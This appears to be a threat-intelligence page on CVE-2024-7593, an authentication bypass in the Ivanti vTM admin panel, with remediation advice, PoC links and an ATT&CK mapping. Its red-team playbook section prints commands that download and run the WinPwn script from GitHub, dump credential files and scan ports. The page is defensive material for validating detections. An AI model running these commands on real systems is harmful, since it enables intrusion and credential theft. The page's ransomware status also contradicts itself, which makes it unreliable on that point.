CVE-2024-7593

CRITICAL CISA KEV EXPLOIT POC TTE Zero-Day Pub 13/08 Upd 21/10

Overview

This vulnerability is an authentication bypass caused by an incorrect implementation of the authentication algorithm in Ivanti Virtual Traffic Manager (vTM). The flaw resides in the authentication mechanism of the admin panel, specifically affecting versions other than 22.2R1 and 22.7R2. The compromised component is the access control logic that validates administrative credentials, allowing unauthorized access.

Vulnerability Description

Incorrect implementation of an authentication algorithm in Ivanti vTM other than versions 22.2R1 or 22.7R2 allows a remote unauthenticated attacker to bypass authentication of the admin panel.

Impact

An unauthenticated attacker can gain full administrative access to the Ivanti vTM system, enabling modification of traffic management configurations and potentially disrupting network traffic flow. No prior authentication or user interaction is required to exploit this flaw. This level of access can lead to complete compromise of the affected system, exposing sensitive configuration data and control over network traffic policies.

Solution

Ivanti recommends upgrading affected Virtual Traffic Manager installations to versions 22.2R1 or 22.7R2, which contain the corrected authentication implementation. Detailed patching instructions and advisory information are available at Ivanti's security advisory portal: https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Virtual-Traffic-Manager-vTM-CVE-2024-7593. Applying these updates will remediate the authentication bypass vulnerability.

EPSS vs KEV Prediction — Evolution (30 days)

Ransomware Intelligence

CISA KEV: Listed (ransomware unconfirmed)
1 predicted

Predictions
Predictions are based on analysis of past ransomware group behaviors and their predilection for specific vulnerability characteristics, such as vendor, product, and flaw type.

The groups below are predictions based on historical exploitation patterns of the same vendor/product. These are not confirmations.

0apt

Full Analysis

The vulnerability in Ivanti's Virtual Traffic Management (vTM) software stems from an incorrect implementation of its authentication algorithm. This flaw allows remote unauthenticated attackers to bypass authentication mechanisms intended to protect the admin panel. The affected versions include those prior to 22.2R1 and 22.7R2, which are widely deployed in various environments. The critical nature of this vulnerability is underscored by its high CVSS score of 9.8, indicating a severe risk to systems utilizing these versions of the software. The improper handling of authentication processes can lead to unauthorized access, enabling attackers to manipulate configurations, access sensitive data, and potentially disrupt services.

Attack vectors for exploiting this vulnerability are particularly concerning due to the ease with which an attacker can initiate an attack. Since the flaw allows for remote exploitation without the need for authentication, attackers can leverage this weakness from anywhere on the internet. Scenarios may include targeted attacks against organizations using Ivanti vTM for load balancing and traffic management. A malicious actor could gain administrative privileges, allowing them to alter traffic rules, redirect users to malicious sites, or exfiltrate sensitive information. Moreover, the lack of authentication could facilitate lateral movement within a network, leading to further compromises of interconnected systems.

The real-world impact of this vulnerability is significant, posing substantial business risks. Organizations relying on Ivanti vTM for managing web traffic and application delivery could face severe operational disruptions if an attacker gains control of the admin panel. This could result in data breaches, loss of customer trust, and potential regulatory penalties, particularly if sensitive personal data is exposed. Additionally, the financial implications of remediation efforts, incident response, and potential downtime can be considerable. The reputational damage stemming from such an incident can have long-lasting effects on an organization’s standing in the market, further emphasizing the necessity for immediate action.

To detect and mitigate the risks associated with this vulnerability, organizations should prioritize updating their Ivanti vTM installations to the latest versions that address this flaw. Regular vulnerability assessments and penetration testing can help identify potential weaknesses in the system before they can be exploited. Implementing robust monitoring solutions can also aid in detecting unauthorized access attempts or unusual activities within the admin panel. Furthermore, organizations should enforce strict access controls and employ network segmentation to limit exposure to critical systems. Educating staff about security best practices and the importance of timely software updates can also play a crucial role in reducing the risk of exploitation.

In conclusion, the vulnerability in Ivanti's Virtual Traffic Management software represents a critical threat that necessitates immediate attention from affected organizations. The potential for unauthorized access to administrative functions poses a serious risk to system integrity and data security. By understanding the technical details, potential attack vectors, and real-world impacts, organizations can better prepare themselves to defend against this threat. Proactive measures, including timely updates and enhanced security practices, are essential to mitigate the risks associated with this vulnerability and safeguard sensitive information from malicious actors.



CSURFACE threat intelligence has detected a moderate increase in exploitation attempts targeting CVE-2024-7593, reflecting a growing interest by threat actors in leveraging the authentication bypass vulnerability in Ivanti vTM versions outside the secure releases 22.2R1 and 22.7R2. This uptick coincides with the continued availability of multiple new proof-of-concept exploits on public repositories, including a Metasploit module that broadens the affected version range, thereby lowering the technical barrier for adversaries to conduct unauthorized administrative access. Although ransomware groups have not yet been linked to campaigns exploiting this vulnerability, the expanded exploit landscape and rising detection trends underscore an elevated risk of compromise in environments running vulnerable Ivanti vTM versions. Consequently, the threat level should be considered heightened due to increased attacker activity and the ease of exploitation, warranting closer monitoring and prioritization in defensive postures.


Update 2 — June 07, 2026

CSURFACE threat intelligence has detected a slight increase in exploitation attempts targeting CVE-2024-7593, accompanied by the emergence of additional publicly available proof-of-concept exploits. This expansion in the exploit toolkit lowers the technical barriers for adversaries seeking to bypass Ivanti vTM administrative authentication, potentially accelerating unauthorized access incidents. While ransomware groups remain unassociated with this vulnerability, the uptick in detection activity signals growing adversary interest and operational testing. Consequently, the threat environment surrounding this vulnerability has intensified, warranting heightened vigilance as attackers refine and proliferate exploitation methods against vulnerable Ivanti vTM deployments.

Affected Products (6)

Vendor Product Version CPE
ivanti Ivanti Virtual Traffic Management 22.2 cpe:2.3:a:ivanti:virtual_traffic_management:22.2:*:*:*:*:*:*:*
ivanti Ivanti Virtual Traffic Management 22.3 cpe:2.3:a:ivanti:virtual_traffic_management:22.3:-:*:*:*:*:*:*
ivanti Ivanti Virtual Traffic Management 22.3 cpe:2.3:a:ivanti:virtual_traffic_management:22.3:r2:*:*:*:*:*:*
ivanti Ivanti Virtual Traffic Management 22.5 cpe:2.3:a:ivanti:virtual_traffic_management:22.5:r1:*:*:*:*:*:*
ivanti Ivanti Virtual Traffic Management 22.6 cpe:2.3:a:ivanti:virtual_traffic_management:22.6:r1:*:*:*:*:*:*
ivanti Ivanti Virtual Traffic Management 22.7 cpe:2.3:a:ivanti:virtual_traffic_management:22.7:r1:*:*:*:*:*:*
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

Metasploit (1)

Module Authors Rank Platform Link
Ivanti Virtual Traffic Manager Authentication Bypass (CVE-2024-7593)
auxiliary/admin/http/ivanti_vtm_admin
 Michael Heinzl, ohnoisploited, mxalias Unknown - View

GitHub PoCs (6)

Repository Author Stars Forks Date Link
D3N14LD15K/CVE-2024-7593_PoC_Exploit
CVE-2024-7593 Ivanti Virtual Traffic Manager 22.2R1 / 22.7R2 Admin Panel Authentication Bypass PoC [EXPLOIT]
 D3N14LD15K 9 2 2024-09-24 View
h21n/CVE-2024-7593
 h21n 0 0 2024-10-12 View
intel365/CVE-2024-7593
 intel365 0 0 2024-10-12 View
kernel364/CVE-2024-7593
 kernel364 0 0 2024-10-12 View
rxerium/CVE-2024-7593
Incorrect implementation of an authentication algorithm in Ivanti vTM other than versions 22.2R1 or 22.7R2 allows a remo...
 rxerium 0 0 2024-08-28 View
voidbroker/CVE-2024-7593
 voidbroker 0 0 2024-10-12 View
Exploited in Wild CONFIRMED
Ransomware IN USE
Attacker Interest MEDIUM
Sightings Few sightings

Threat Feed

18 events
2026-06-30
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-27
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-05
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-03
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-27
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-08
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-07
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-14
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-06
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-05
Exploited by 0apt

Ransomware group known to exploit this vulnerability

2026-04-04
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-03-30
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2024-09-24
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

2024-08-28
PoC Published (6 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

2024-08-05
Exploit Published (0 ExploitDB, 1 Metasploit)

Public exploit code is available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Authentication Bypass
100% auth_bypass
Cryptographic Failures
46% crypto_failure
Authorization Bypass
40% authz_bypass
Privilege Escalation
35% privilege_escalation

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-90 Reflection Attack in Authentication Protocol
30%
High High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell) 
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD) 
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell) 
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash) 
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell) 
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell) 
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell) 
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell) 
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell) 
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell) 
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell) 
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell) 
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD) 
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash) 
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell) 
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell) 
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash) 
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD) 
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell) 
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (3)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2024-7593
forums.ivanti.com
GitHub CVE
https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Virtual-Traffic-Manager-vTM-CVE-2024-7593
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-7593